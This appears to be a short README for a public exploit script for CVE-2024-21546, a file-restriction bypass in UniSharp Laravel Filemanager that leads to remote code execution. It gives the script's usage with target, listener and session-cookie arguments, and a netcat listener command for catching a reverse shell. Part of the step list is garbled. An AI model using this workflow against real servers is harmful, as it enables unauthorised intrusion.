ajdumanhug/cve-2024-21546This Python exploit script targets a vulnerable Laravel Filemanager created by UniSharp, which allows authenticated users to bypass file restrictions and upload malicious files. This can lead to Remote Code Execution (RCE) when the uploaded payload is triggered.
This Python exploit script targets a vulnerable Laravel Filemanager created by UniSharp, which allows authenticated users to bypass file restrictions and upload malicious files. This can lead to Remote Code Execution (RCE) when the uploaded payload is triggered.
The exploit performs the following:
laravel_session_token via regexVersion 2.9.1 and prior version
python3 CVE-2024-21546.py <target_url> <listener_ip> <listener_port> <laravel_session>
Important: Start your listener before running the script:
nc -lvnp <listener_port>
